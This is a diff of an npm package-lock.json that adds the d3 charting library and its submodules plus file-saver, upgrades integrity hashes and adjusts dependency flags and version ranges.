             "core-util-is": "~1.0.0",
             "inherits": "~2.0.3",
@@ -722,7 +721,7 @@
         "string_decoder": {
           "version": "1.1.1",
           "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz",
-          "integrity": "sha1-nPFhG6YmhdcDCunkujQUnDrwP8g=",
+          "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==",
           "requires": {
             "safe-buffer": "~5.1.0"
           }
@@ -3004,7 +3003,7 @@
     "clone-deep": {
       "version": "2.0.2",
       "resolved": "https://registry.npmjs.org/clone-deep/-/clone-deep-2.0.2.tgz",
-      "integrity": "sha1-ANs6Hhc2VnMNEYjD1qztbX6pdxM=",
+      "integrity": "sha512-SZegPTKjCgpQH63E+eN6mVEEPdQBOUzjyJm5Pora4lrwWRFS8I0QAxV/KD6vV/i0WuijHZWQC1fMsPEdxfdVCQ==",
       "requires": {
         "for-own": "^1.0.0",
         "is-plain-object": "^2.0.4",
@@ -3023,7 +3022,7 @@
         "kind-of": {
           "version": "6.0.2",
           "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-6.0.2.tgz",
-          "integrity": "sha1-ARRrNqYhjmTljzqNZt5df8b20FE="
+          "integrity": "sha512-s5kLOcnH0XqDO+FvuaLX8DDjZ18CGFk7VygH40QoKPUQhW4e2rvM0rwUq0t8IQDOwYSeLK01U90OjzBTme2QqA=="
         }
       }
     },
@@ -3088,8 +3087,7 @@
     "commander": {
       "version": "2.15.1",
       "resolved": "https://registry.npmjs.org/commander/-/commander-2.15.1.tgz",
-      "integrity": "sha512-VlfT9F3V0v+jr4yxPc5gg9s62/fIVWsd2Bk2iD435um1NlGMYdVCq+MjcXnhYq2icNOizHr1kK+5TI6H0Hy0ag==",
-      "dev": true
+      "integrity": "sha512-VlfT9F3V0v+jr4yxPc5gg9s62/fIVWsd2Bk2iD435um1NlGMYdVCq+MjcXnhYq2icNOizHr1kK+5TI6H0Hy0ag=="
     },
     "commondir": {
       "version": "1.0.1",
@@ -3313,7 +3311,7 @@
     "copy-to-clipboard": {
       "version": "3.0.8",
       "resolved": "https://registry.npmjs.org/copy-to-clipboard/-/copy-to-clipboard-3.0.8.tgz",
-      "integrity": "sha1-9OgvSogw3ORma3643tDJvMMTq6k=",
+      "integrity": "sha512-c3GdeY8qxCHGezVb1EFQfHYK/8NZRemgcTIzPq7PuxjHAf/raKibn2QdhHPb/y6q74PMgH6yizaDZlRmw6QyKw==",
       "requires": {
         "toggle-selection": "^1.0.3"
       }
@@ -3369,7 +3367,7 @@
         },
         "yargs": {
           "version": "11.1.0",
-          "resolved": "https://registry.npmjs.org/yargs/-/yargs-11.1.0.tgz",
+          "resolved": "http://registry.npmjs.org/yargs/-/yargs-11.1.0.tgz",
           "integrity": "sha512-NwW69J42EsCSanF8kyn5upxvjp5ds+t3+udGBeTbFnERA+lF541DDpMawzo4z6W/QrzNM18D+BPMiOBibnFV5A==",
           "dev": true,
           "requires": {
@@ -3420,8 +3418,8 @@
           "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-3.13.1.tgz",
           "integrity": "sha512-YfbcO7jXDdyj0DGxYVSlSeQNHbD7XPWvrVWeVUujrQEoZzWJIRrCPoyk6kL6IAjAG2IolMK4T0hNUe0HOUs5Jw==",
           "requires": {
-            "argparse": "1.0.9",
-            "esprima": "4.0.1"
+            "argparse": "^1.0.7",
+            "esprima": "^4.0.0"
           }
         },
         "parse-json": {
@@ -3429,8 +3427,8 @@
           "resolved": "https://registry.npmjs.org/parse-json/-/parse-json-4.0.0.tgz",
           "integrity": "sha1-vjX1Qlvh9/bHRxhPmKeIy5lHfuA=",
           "requires": {
-            "error-ex": "1.3.2",
-            "json-parse-better-errors": "1.0.2"
+            "error-ex": "^1.3.1",
+            "json-parse-better-errors": "^1.0.1"
           }
         }
       }
@@ -3658,6 +3656,270 @@
         "es5-ext": "^0.10.9"
       }
     },
+    "d3": {
+      "version": "5.11.0",
+      "resolved": "https://registry.npmjs.org/d3/-/d3-5.11.0.tgz",
+      "integrity": "sha512-LXgMVUAEAzQh6WfEEOa8tJX4RA64ZJ6twC3CJ+Xzid+fXWLTZkkglagXav/eOoQgzQi5rzV0xC4Sfspd6hFDHA==",
+      "requires": {
+        "d3-array": "1",
+        "d3-axis": "1",
+        "d3-brush": "1",
+        "d3-chord": "1",
+        "d3-collection": "1",
+        "d3-color": "1",
+        "d3-contour": "1",
+        "d3-dispatch": "1",
+        "d3-drag": "1",
+        "d3-dsv": "1",
+        "d3-ease": "1",
+        "d3-fetch": "1",
+        "d3-force": "1",
+        "d3-format": "1",
+        "d3-geo": "1",
+        "d3-hierarchy": "1",
+        "d3-interpolate": "1",
+        "d3-path": "1",
+        "d3-polygon": "1",
+        "d3-quadtree": "1",
+        "d3-random": "1",
+        "d3-scale": "2",
+        "d3-scale-chromatic": "1",
+        "d3-selection": "1",
+        "d3-shape": "1",
+        "d3-time": "1",
+        "d3-time-format": "2",
+        "d3-timer": "1",
+        "d3-transition": "1",
+        "d3-voronoi": "1",
+        "d3-zoom": "1"
+      }
+    },
+    "d3-array": {
+      "version": "1.2.4",
+      "resolved": "https://registry.npmjs.org/d3-array/-/d3-array-1.2.4.tgz",
+      "integrity": "sha512-KHW6M86R+FUPYGb3R5XiYjXPq7VzwxZ22buHhAEVG5ztoEcZZMLov530mmccaqA1GghZArjQV46fuc8kUqhhHw=="
+    },
+    "d3-axis": {
+      "version": "1.0.12",
+      "resolved": "https://registry.npmjs.org/d3-axis/-/d3-axis-1.0.12.tgz",
+      "integrity": "sha512-ejINPfPSNdGFKEOAtnBtdkpr24c4d4jsei6Lg98mxf424ivoDP2956/5HDpIAtmHo85lqT4pruy+zEgvRUBqaQ=="
+    },
+    "d3-brush": {
+      "version": "1.1.3",
+      "resolved": "https://registry.npmjs.org/d3-brush/-/d3-brush-1.1.3.tgz",
+      "integrity": "sha512-v8bbYyCFKjyCzFk/tdWqXwDykY8YWqhXYjcYxfILIit085VZOpj4XJKOMccTsvWxgzSLMJQg5SiqHjslsipEDg==",
+      "requires": {
+        "d3-dispatch": "1",
+        "d3-drag": "1",
+        "d3-interpolate": "1",
+        "d3-selection": "1",
+        "d3-transition": "1"
+      }
+    },
+    "d3-chord": {
+      "version": "1.0.6",
+      "resolved": "https://registry.npmjs.org/d3-chord/-/d3-chord-1.0.6.tgz",
+      "integrity": "sha512-JXA2Dro1Fxw9rJe33Uv+Ckr5IrAa74TlfDEhE/jfLOaXegMQFQTAgAw9WnZL8+HxVBRXaRGCkrNU7pJeylRIuA==",
+      "requires": {
+        "d3-array": "1",
+        "d3-path": "1"
+      }
+    },
+    "d3-collection": {
+      "version": "1.0.7",
+      "resolved": "https://registry.npmjs.org/d3-collection/-/d3-collection-1.0.7.tgz",
+      "integrity": "sha512-ii0/r5f4sjKNTfh84Di+DpztYwqKhEyUlKoPrzUFfeSkWxjW49xU2QzO9qrPrNkpdI0XJkfzvmTu8V2Zylln6A=="
+    },
+    "d3-color": {
+      "version": "1.3.0",
+      "resolved": "https://registry.npmjs.org/d3-color/-/d3-color-1.3.0.tgz",
+      "integrity": "sha512-NHODMBlj59xPAwl2BDiO2Mog6V+PrGRtBfWKqKRrs9MCqlSkIEb0Z/SfY7jW29ReHTDC/j+vwXhnZcXI3+3fbg=="
+    },
+    "d3-contour": {
+      "version": "1.3.2",
+      "resolved": "https://registry.npmjs.org/d3-contour/-/d3-contour-1.3.2.tgz",
+      "integrity": "sha512-hoPp4K/rJCu0ladiH6zmJUEz6+u3lgR+GSm/QdM2BBvDraU39Vr7YdDCicJcxP1z8i9B/2dJLgDC1NcvlF8WCg==",
+      "requires": {
+        "d3-array": "^1.1.1"
+      }
+    },
+    "d3-dispatch": {
+      "version": "1.0.5",
+      "resolved": "https://registry.npmjs.org/d3-dispatch/-/d3-dispatch-1.0.5.tgz",
+      "integrity": "sha512-vwKx+lAqB1UuCeklr6Jh1bvC4SZgbSqbkGBLClItFBIYH4vqDJCA7qfoy14lXmJdnBOdxndAMxjCbImJYW7e6g=="
+    },
+    "d3-drag": {
+      "version": "1.2.4",
+      "resolved": "https://registry.npmjs.org/d3-drag/-/d3-drag-1.2.4.tgz",
+      "integrity": "sha512-ICPurDETFAelF1CTHdIyiUM4PsyZLaM+7oIBhmyP+cuVjze5vDZ8V//LdOFjg0jGnFIZD/Sfmk0r95PSiu78rw==",
+      "requires": {
+        "d3-dispatch": "1",
+        "d3-selection": "1"
+      }
+    },
+    "d3-dsv": {
+      "version": "1.1.1",
+      "resolved": "https://registry.npmjs.org/d3-dsv/-/d3-dsv-1.1.1.tgz",
+      "integrity": "sha512-1EH1oRGSkeDUlDRbhsFytAXU6cAmXFzc52YUe6MRlPClmWb85MP1J5x+YJRzya4ynZWnbELdSAvATFW/MbxaXw==",
+      "requires": {
+        "commander": "2",
+        "iconv-lite": "0.4",
+        "rw": "1"
+      }
+    },
+    "d3-ease": {
+      "version": "1.0.5",
+      "resolved": "https://registry.npmjs.org/d3-ease/-/d3-ease-1.0.5.tgz",
+      "integrity": "sha512-Ct1O//ly5y5lFM9YTdu+ygq7LleSgSE4oj7vUt9tPLHUi8VCV7QoizGpdWRWAwCO9LdYzIrQDg97+hGVdsSGPQ=="
+    },
+    "d3-fetch": {
+      "version": "1.1.2",
+      "resolved": "https://registry.npmjs.org/d3-fetch/-/d3-fetch-1.1.2.tgz",
+      "integrity": "sha512-S2loaQCV/ZeyTyIF2oP8D1K9Z4QizUzW7cWeAOAS4U88qOt3Ucf6GsmgthuYSdyB2HyEm4CeGvkQxWsmInsIVA==",
+      "requires": {
+        "d3-dsv": "1"
+      }
+    },
+    "d3-force": {
+      "version": "1.2.1",
+      "resolved": "https://registry.npmjs.org/d3-force/-/d3-force-1.2.1.tgz",
+      "integrity": "sha512-HHvehyaiUlVo5CxBJ0yF/xny4xoaxFxDnBXNvNcfW9adORGZfyNF1dj6DGLKyk4Yh3brP/1h3rnDzdIAwL08zg==",
+      "requires": {
+        "d3-collection": "1",
+        "d3-dispatch": "1",
+        "d3-quadtree": "1",
+        "d3-timer": "1"
+      }
+    },
+    "d3-format": {
+      "version": "1.3.2",
+      "resolved": "https://registry.npmjs.org/d3-format/-/d3-format-1.3.2.tgz",
+      "integrity": "sha512-Z18Dprj96ExragQ0DeGi+SYPQ7pPfRMtUXtsg/ChVIKNBCzjO8XYJvRTC1usblx52lqge56V5ect+frYTQc8WQ=="
+    },
+    "d3-geo": {
+      "version": "1.11.6",
+      "resolved": "https://registry.npmjs.org/d3-geo/-/d3-geo-1.11.6.tgz",
+      "integrity": "sha512-z0J8InXR9e9wcgNtmVnPTj0TU8nhYT6lD/ak9may2PdKqXIeHUr8UbFLoCtrPYNsjv6YaLvSDQVl578k6nm7GA==",
+      "requires": {
+        "d3-array": "1"
+      }
+    },
+    "d3-hierarchy": {
+      "version": "1.1.8",
+      "resolved": "https://registry.npmjs.org/d3-hierarchy/-/d3-hierarchy-1.1.8.tgz",
+      "integrity": "sha512-L+GHMSZNwTpiq4rt9GEsNcpLa4M96lXMR8M/nMG9p5hBE0jy6C+3hWtyZMenPQdwla249iJy7Nx0uKt3n+u9+w=="
+    },
+    "d3-interpolate": {
+      "version": "1.3.2",
+      "resolved": "https://registry.npmjs.org/d3-interpolate/-/d3-interpolate-1.3.2.tgz",
+      "integrity": "sha512-NlNKGopqaz9qM1PXh9gBF1KSCVh+jSFErrSlD/4hybwoNX/gt1d8CDbDW+3i+5UOHhjC6s6nMvRxcuoMVNgL2w==",
+      "requires": {
+        "d3-color": "1"
+      }
+    },
+    "d3-path": {
+      "version": "1.0.8",
+      "resolved": "https://registry.npmjs.org/d3-path/-/d3-path-1.0.8.tgz",
+      "integrity": "sha512-J6EfUNwcMQ+aM5YPOB8ZbgAZu6wc82f/0WFxrxwV6Ll8wBwLaHLKCqQ5Imub02JriCVVdPjgI+6P3a4EWJCxAg=="
+    },
+    "d3-polygon": {
+      "version": "1.0.5",
+      "resolved": "https://registry.npmjs.org/d3-polygon/-/d3-polygon-1.0.5.tgz",
+      "integrity": "sha512-RHhh1ZUJZfhgoqzWWuRhzQJvO7LavchhitSTHGu9oj6uuLFzYZVeBzaWTQ2qSO6bz2w55RMoOCf0MsLCDB6e0w=="
+    },
+    "d3-quadtree": {
+      "version": "1.0.6",
+      "resolved": "https://registry.npmjs.org/d3-quadtree/-/d3-quadtree-1.0.6.tgz",
+      "integrity": "sha512-NUgeo9G+ENQCQ1LsRr2qJg3MQ4DJvxcDNCiohdJGHt5gRhBW6orIB5m5FJ9kK3HNL8g9F4ERVoBzcEwQBfXWVA=="
+    },
+    "d3-random": {
+      "version": "1.1.2",
+      "resolved": "https://registry.npmjs.org/d3-random/-/d3-random-1.1.2.tgz",
+      "integrity": "sha512-6AK5BNpIFqP+cx/sreKzNjWbwZQCSUatxq+pPRmFIQaWuoD+NrbVWw7YWpHiXpCQ/NanKdtGDuB+VQcZDaEmYQ=="
+    },
+    "d3-scale": {
+      "version": "2.2.2",
+      "resolved": "https://registry.npmjs.org/d3-scale/-/d3-scale-2.2.2.tgz",
+      "integrity": "sha512-LbeEvGgIb8UMcAa0EATLNX0lelKWGYDQiPdHj+gLblGVhGLyNbaCn3EvrJf0A3Y/uOOU5aD6MTh5ZFCdEwGiCw==",
+      "requires": {
+        "d3-array": "^1.2.0",
+        "d3-collection": "1",
+        "d3-format": "1",
+        "d3-interpolate": "1",
+        "d3-time": "1",
+        "d3-time-format": "2"
+      }
+    },
+    "d3-scale-chromatic": {
+      "version": "1.5.0",
+      "resolved": "https://registry.npmjs.org/d3-scale-chromatic/-/d3-scale-chromatic-1.5.0.tgz",
+      "integrity": "sha512-ACcL46DYImpRFMBcpk9HhtIyC7bTBR4fNOPxwVSl0LfulDAwyiHyPOTqcDG1+t5d4P9W7t/2NAuWu59aKko/cg==",
+      "requires": {
+        "d3-color": "1",
+        "d3-interpolate": "1"
+      }
+    },
+    "d3-selection": {
+      "version": "1.4.0",
+      "resolved": "https://registry.npmjs.org/d3-selection/-/d3-selection-1.4.0.tgz",
+      "integrity": "sha512-EYVwBxQGEjLCKF2pJ4+yrErskDnz5v403qvAid96cNdCMr8rmCYfY5RGzWz24mdIbxmDf6/4EAH+K9xperD5jg=="
+    },
+    "d3-shape": {
+      "version": "1.3.5",
+      "resolved": "https://registry.npmjs.org/d3-shape/-/d3-shape-1.3.5.tgz",
+      "integrity": "sha512-VKazVR3phgD+MUCldapHD7P9kcrvPcexeX/PkMJmkUov4JM8IxsSg1DvbYoYich9AtdTsa5nNk2++ImPiDiSxg==",
+      "requires": {
+        "d3-path": "1"
+      }
+    },
+    "d3-time": {
+      "version": "1.0.11",
+      "resolved": "https://registry.npmjs.org/d3-time/-/d3-time-1.0.11.tgz",
+      "integrity": "sha512-Z3wpvhPLW4vEScGeIMUckDW7+3hWKOQfAWg/U7PlWBnQmeKQ00gCUsTtWSYulrKNA7ta8hJ+xXc6MHrMuITwEw=="
+    },
+    "d3-time-format": {
+      "version": "2.1.3",
+      "resolved": "https://registry.npmjs.org/d3-time-format/-/d3-time-format-2.1.3.tgz",
+      "integrity": "sha512-6k0a2rZryzGm5Ihx+aFMuO1GgelgIz+7HhB4PH4OEndD5q2zGn1mDfRdNrulspOfR6JXkb2sThhDK41CSK85QA==",
+      "requires": {
+        "d3-time": "1"
+      }
+    },
+    "d3-timer": {
+      "version": "1.0.9",
+      "resolved": "https://registry.npmjs.org/d3-timer/-/d3-timer-1.0.9.tgz",
+      "integrity": "sha512-rT34J5HnQUHhcLvhSB9GjCkN0Ddd5Y8nCwDBG2u6wQEeYxT/Lf51fTFFkldeib/sE/J0clIe0pnCfs6g/lRbyg=="
+    },
+    "d3-transition": {
+      "version": "1.2.0",
+      "resolved": "https://registry.npmjs.org/d3-transition/-/d3-transition-1.2.0.tgz",
+      "integrity": "sha512-VJ7cmX/FPIPJYuaL2r1o1EMHLttvoIuZhhuAlRoOxDzogV8iQS6jYulDm3xEU3TqL80IZIhI551/ebmCMrkvhw==",
+      "requires": {
+        "d3-color": "1",
+        "d3-dispatch": "1",
+        "d3-ease": "1",
+        "d3-interpolate": "1",
+        "d3-selection": "^1.1.0",
+        "d3-timer": "1"
+      }
+    },
+    "d3-voronoi": {
+      "version": "1.1.4",
+      "resolved": "https://registry.npmjs.org/d3-voronoi/-/d3-voronoi-1.1.4.tgz",
+      "integrity": "sha512-dArJ32hchFsrQ8uMiTBLq256MpnZjeuBtdHpaDlYuQyjU0CVzCJl/BVW+SkszaAeH95D/8gxqAhgx0ouAWAfRg=="
+    },
+    "d3-zoom": {
+      "version": "1.8.3",
+      "resolved": "https://registry.npmjs.org/d3-zoom/-/d3-zoom-1.8.3.tgz",
+      "integrity": "sha512-VoLXTK4wvy1a0JpH2Il+F2CiOhVu7VRXWF5M/LroMIh3/zBAC3WAt7QoIvPibOavVo20hN6/37vwAsdBejLyKQ==",
+      "requires": {
+        "d3-dispatch": "1",
+        "d3-drag": "1",
+        "d3-interpolate": "1",
+        "d3-selection": "1",
+        "d3-transition": "1"
+      }
+    },
     "dashdash": {
       "version": "1.14.1",
       "resolved": "https://registry.npmjs.org/dashdash/-/dashdash-1.14.1.tgz",
@@ -5199,6 +5461,11 @@
         }
       }
     },
+    "file-saver": {
+      "version": "2.0.2",
+      "resolved": "https://registry.npmjs.org/file-saver/-/file-saver-2.0.2.tgz",
+      "integrity": "sha512-Wz3c3XQ5xroCxd1G8b7yL0Ehkf0TC9oYC6buPFkNnU9EnaPlifeAFCyCh+iewXTyFRcg0a6j3J7FmJsIhlhBdw=="
+    },
     "filename-regex": {
       "version": "2.0.1",
       "resolved": "https://registry.npmjs.org/filename-regex/-/filename-regex-2.0.1.tgz",
@@ -5271,7 +5538,7 @@
     "find-root": {
       "version": "1.1.0",
       "resolved": "https://registry.npmjs.org/find-root/-/find-root-1.1.0.tgz",
-      "integrity": "sha1-q8/Iunb3CMQql7PWhbfpRQv7nOQ="
+      "integrity": "sha512-NKfW6bec6GfKc0SGx1e07QZY9PE99u0Bft/0rzSD5k3sO/vwkVUpDUKVm5Gpp5Ue3YfShPFTX2070tDs5kB9Ng=="
     },
     "find-up": {
       "version": "1.1.2",
@@ -5523,15 +5790,14 @@
           "dev": true,
           "optional": true,
           "requires": {
-            "co": "4.6.0",
-            "json-stable-stringify": "1.0.1"
+            "co": "^4.6.0",
+            "json-stable-stringify": "^1.0.1"
           }
         },
         "ansi-regex": {
           "version": "2.1.1",
           "bundled": true,
-          "dev": true,
-          "optional": true
+          "dev": true
         },
         "aproba": {
           "version": "1.1.1",
@@ -5582,8 +5848,7 @@
         "balanced-match": {
           "version": "0.4.2",
           "bundled": true,
-          "dev": true,
-          "optional": true
+          "dev": true
         },
         "bcrypt-pbkdf": {
           "version": "1.0.1",
@@ -5598,7 +5863,6 @@
           "version": "0.0.9",
           "bundled": true,
           "dev": true,
-          "optional": true,
           "requires": {
             "inherits": "~2.0.0"
           }
@@ -5607,7 +5871,6 @@
           "version": "2.10.1",
           "bundled": true,
           "dev": true,
-          "optional": true,
           "requires": {
             "hoek": "2.x.x"
           }
@@ -5616,7 +5879,6 @@
           "version": "1.1.7",
           "bundled": true,
           "dev": true,
-          "optional": true,
           "requires": {
             "balanced-match": "^0.4.1",
             "concat-map": "0.0.1"
@@ -5625,8 +5887,7 @@
         "buffer-shims": {
           "version": "1.0.0",
           "bundled": true,
-          "dev": true,
-          "optional": true
+          "dev": true
         },
         "caseless": {
           "version": "0.12.0",
@@ -5643,14 +5904,12 @@
         "code-point-at": {
           "version": "1.1.0",
           "bundled": true,
-          "dev": true,
-          "optional": true
+          "dev": true
         },
         "combined-stream": {
           "version": "1.0.5",
           "bundled": true,
           "dev": true,
-          "optional": true,
           "requires": {
             "delayed-stream": "~1.0.0"
           }
@@ -5658,20 +5917,17 @@
         "concat-map": {
           "version": "0.0.1",
           "bundled": true,
-          "dev": true,
-          "optional": true
+          "dev": true
         },
         "console-control-strings": {
           "version": "1.1.0",
           "bundled": true,
-          "dev": true,
-          "optional": true
+          "dev": true
         },
         "core-util-is": {
           "version": "1.0.2",
           "bundled": true,
-          "dev": true,
-          "optional": true
+          "dev": true
         },
         "cryptiles": {
           "version": "2.0.5",
@@ -5717,8 +5973,7 @@
         "delayed-stream": {
           "version": "1.0.0",
           "bundled": true,
-          "dev": true,
-          "optional": true
+          "dev": true
         },
         "delegates": {
           "version": "1.0.0",
@@ -5732,7 +5987,7 @@
           "dev": true,
           "optional": true,
           "requires": {
-            "jsbn": "0.1.1"
+            "jsbn": "~0.1.0"
           }
         },
         "extend": {
@@ -5744,8 +5999,7 @@
         "extsprintf": {
           "version": "1.0.2",
           "bundled": true,
-          "dev": true,
-          "optional": true
+          "dev": true
         },
         "forever-agent": {
           "version": "0.6.1",
@@ -5767,14 +6021,12 @@
         "fs.realpath": {
           "version": "1.0.0",
           "bundled": true,
-          "dev": true,
-          "optional": true
+          "dev": true
         },
         "fstream": {
           "version": "1.0.11",
           "bundled": true,
           "dev": true,
-          "optional": true,
           "requires": {
             "graceful-fs": "^4.1.2",
             "inherits": "~2.0.0",
@@ -5830,7 +6082,6 @@
           "version": "7.1.2",
           "bundled": true,
           "dev": true,
-          "optional": true,
           "requires": {
             "fs.realpath": "^1.0.0",
             "inflight": "^1.0.4",
@@ -5843,8 +6094,7 @@
         "graceful-fs": {
           "version": "4.1.11",
           "bundled": true,
-          "dev": true,
-          "optional": true
+          "dev": true
         },
         "har-schema": {
           "version": "1.0.5",
@@ -5858,8 +6108,8 @@
           "dev": true,
           "optional": true,
           "requires": {
-            "ajv": "4.11.8",
-            "har-schema": "1.0.5"
+            "ajv": "^4.9.1",
+            "har-schema": "^1.0.5"
           }
         },
         "has-unicode": {
@@ -5883,8 +6133,7 @@
         "hoek": {
           "version": "2.16.3",
           "bundled": true,
-          "dev": true,
-          "optional": true
+          "dev": true
         },
         "http-signature": {
           "version": "1.1.1",
@@ -5901,7 +6150,6 @@
           "version": "1.0.6",
           "bundled": true,
           "dev": true,
-          "optional": true,
           "requires": {
             "once": "^1.3.0",
             "wrappy": "1"
@@ -5910,8 +6158,7 @@
         "inherits": {
           "version": "2.0.3",
           "bundled": true,
-          "dev": true,
-          "optional": true
+          "dev": true
         },
         "ini": {
           "version": "1.3.4",
@@ -5923,7 +6170,6 @@
           "version": "1.0.0",
           "bundled": true,
           "dev": true,
-          "optional": true,
           "requires": {
             "number-is-nan": "^1.0.0"
           }
@@ -5937,8 +6183,7 @@
         "isarray": {
           "version": "1.0.0",
           "bundled": true,
-          "dev": true,
-          "optional": true
+          "dev": true
         },
         "isstream": {
           "version": "0.1.2",
@@ -5952,7 +6197,7 @@
           "dev": true,
           "optional": true,
           "requires": {
-            "jsbn": "0.1.1"
+            "jsbn": "~0.1.0"
           }
         },
         "jsbn": {
@@ -5973,7 +6218,7 @@
           "dev": true,
           "optional": true,
           "requires": {
-            "jsonify": "0.0.0"
+            "jsonify": "~0.0.0"
           }
         },
         "json-stringify-safe": {
@@ -6011,14 +6256,12 @@
         "mime-db": {
           "version": "1.27.0",
           "bundled": true,
-          "dev": true,
-          "optional": true
+          "dev": true
         },
         "mime-types": {
           "version": "2.1.15",
           "bundled": true,
           "dev": true,
-          "optional": true,
           "requires": {
             "mime-db": "~1.27.0"
           }
@@ -6027,7 +6270,6 @@
           "version": "3.0.4",
           "bundled": true,
           "dev": true,
-          "optional": true,
           "requires": {
             "brace-expansion": "^1.1.7"
           }
@@ -6035,14 +6277,12 @@
         "minimist": {
           "version": "0.0.8",
           "bundled": true,
-          "dev": true,
-          "optional": true
+          "dev": true
         },
         "mkdirp": {
           "version": "0.5.1",
           "bundled": true,
           "dev": true,
-          "optional": true,
           "requires": {
             "minimist": "0.0.8"
           }
@@ -6095,8 +6335,7 @@
         "number-is-nan": {
           "version": "1.0.1",
           "bundled": true,
-          "dev": true,
-          "optional": true
+          "dev": true
         },
         "oauth-sign": {
           "version": "0.8.2",
@@ -6114,7 +6353,6 @@
           "version": "1.4.0",
           "bundled": true,
           "dev": true,
-          "optional": true,
           "requires": {
             "wrappy": "1"
           }
@@ -6144,8 +6382,7 @@
         "path-is-absolute": {
           "version": "1.0.1",
           "bundled": true,
-          "dev": true,
-          "optional": true
+          "dev": true
         },
         "performance-now": {
           "version": "0.2.0",
@@ -6156,8 +6393,7 @@
         "process-nextick-args": {
           "version": "1.0.7",
           "bundled": true,
-          "dev": true,
-          "optional": true
+          "dev": true
         },
         "punycode": {
           "version": "1.4.1",
@@ -6195,7 +6431,6 @@
           "version": "2.2.9",
           "bundled": true,
           "dev": true,
-          "optional": true,
           "requires": {
             "buffer-shims": "~1.0.0",
             "core-util-is": "~1.0.0",
@@ -6240,7 +6475,6 @@
           "version": "2.6.1",
           "bundled": true,
           "dev": true,
-          "optional": true,
           "requires": {
             "glob": "^7.0.5"
           }
@@ -6248,8 +6482,7 @@
         "safe-buffer": {
           "version": "5.0.1",
           "bundled": true,
-          "dev": true,
-          "optional": true
+          "dev": true
         },
         "semver": {
           "version": "5.3.0",
@@ -6307,7 +6540,6 @@
           "version": "1.0.2",
           "bundled": true,
           "dev": true,
-          "optional": true,
           "requires": {
             "code-point-at": "^1.0.0",
             "is-fullwidth-code-point": "^1.0.0",
@@ -6318,7 +6550,6 @@
           "version": "1.0.1",
           "bundled": true,
           "dev": true,
-          "optional": true,
           "requires": {
             "safe-buffer": "^5.0.1"
           }
@@ -6333,7 +6564,6 @@
           "version": "3.0.1",
           "bundled": true,
           "dev": true,
-          "optional": true,
           "requires": {
             "ansi-regex": "^2.0.0"
           }
@@ -6348,7 +6578,6 @@
           "version": "2.2.1",
           "bundled": true,
           "dev": true,
-          "optional": true,
           "requires": {
             "block-stream": "*",
             "fstream": "^1.0.2",
@@ -6404,8 +6633,7 @@
         "util-deprecate": {
           "version": "1.0.2",
           "bundled": true,
-          "dev": true,
-          "optional": true
+          "dev": true
         },
         "uuid": {
           "version": "3.0.1",
@@ -6434,15 +6662,14 @@
         "wrappy": {
           "version": "1.0.2",
           "bundled": true,
-          "dev": true,
-          "optional": true
+          "dev": true
         }
       }
     },
     "fstream": {
       "version": "1.0.12",
       "resolved": "https://registry.npmjs.org/fstream/-/fstream-1.0.12.tgz",
-      "integrity": "sha1-Touo7i1Ivk99DeUFRVVI6uWTIEU=",
+      "integrity": "sha512-WvJ193OHa0GHPEL+AycEJgxvBEwyfRkN1vhjca23OaPVMCaLCXTd5qAu82AjTcgP1UJmytkOKb63Ypde7raDIg==",
       "requires": {
         "graceful-fs": "^4.1.2",
         "inherits": "~2.0.0",
@@ -6500,7 +6727,7 @@
     "gaze": {
       "version": "1.1.3",
       "resolved": "https://registry.npmjs.org/gaze/-/gaze-1.1.3.tgz",
-      "integrity": "sha1-xEFzPhO5J6yMD/C0w7Az8ogSkko=",
+      "integrity": "sha512-BRdNm8hbWzFzWHERTrejLqwHDfS4GibPoq5wjTPIoJHoBtKGPg3xAFfxmM+9ztbXelxcf2hwQcaz1PtmFeue8g==",
       "requires": {
         "globule": "^1.0.0"
       }
@@ -6570,7 +6797,6 @@
       "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-2.0.0.tgz",
       "integrity": "sha1-gTg9ctsFT8zPUzbaqQLxgvbtuyg=",
       "dev": true,
-      "optional": true,
       "requires": {
         "is-glob": "^2.0.0"
       }
@@ -6614,7 +6840,7 @@
     "globule": {
       "version": "1.2.1",
       "resolved": "https://registry.npmjs.org/globule/-/globule-1.2.1.tgz",
-      "integrity": "sha1-Xf+xsZHyLSB5epNptJ6rTpg5aW0=",
+      "integrity": "sha512-g7QtgWF4uYSL5/dn71WxubOrS7JVGCnFPEnoeChJmBnyR9Mw8nGoEwOgJL/RC2Te0WhbsEUCejfH8SZNJ+adYQ==",
       "requires": {
         "glob": "~7.1.1",
         "lodash": "~4.17.10",
@@ -7820,8 +8046,7 @@
       "version": "1.0.0",
       "resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-1.0.0.tgz",
       "integrity": "sha1-rEaBd8SUNAWgkvyPKXYMb/xiBsA=",
-      "dev": true,
-      "optional": true
+      "dev": true
     },
     "is-finite": {
       "version": "1.0.2",
@@ -7841,7 +8066,6 @@
       "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-2.0.1.tgz",
       "integrity": "sha1-0Jb5JqPe1WAPP9/ZEZjLCIjC2GM=",
       "dev": true,
-      "optional": true,
       "requires": {
         "is-extglob": "^1.0.0"
       }
@@ -7906,8 +8130,7 @@
       "version": "2.0.0",
       "resolved": "https://registry.npmjs.org/is-primitive/-/is-primitive-2.0.0.tgz",
       "integrity": "sha1-IHurkWOEmcB7Kt8kCkGochADRXU=",
-      "dev": true,
-      "optional": true
+      "dev": true
     },
     "is-promise": {
       "version": "2.1.0",
@@ -8070,7 +8293,7 @@
     "js-base64": {
       "version": "2.5.1",
       "resolved": "https://registry.npmjs.org/js-base64/-/js-base64-2.5.1.tgz",
-      "integrity": "sha1-Hvo57yxfeYC7F4St5KivLeMpESE="
+      "integrity": "sha512-M7kLczedRMYX4L8Mdh4MzyAMM9O5osx+4FcOQuTvr3A9F2D9S5JXheN0ewNbrvK2UatkTRhL5ejGmGSjNMiZuw=="
     },
     "js-file-download": {
       "version": "0.4.4",
@@ -8459,8 +8682,7 @@
             "ansi-regex": {
               "version": "2.1.1",
               "bundled": true,
-              "dev": true,
-              "optional": true
+              "dev": true
             },
             "aproba": {
               "version": "1.2.0",
@@ -8481,14 +8703,12 @@
             "balanced-match": {
               "version": "1.0.0",
               "bundled": true,
-              "dev": true,
-              "optional": true
+              "dev": true
             },
             "brace-expansion": {
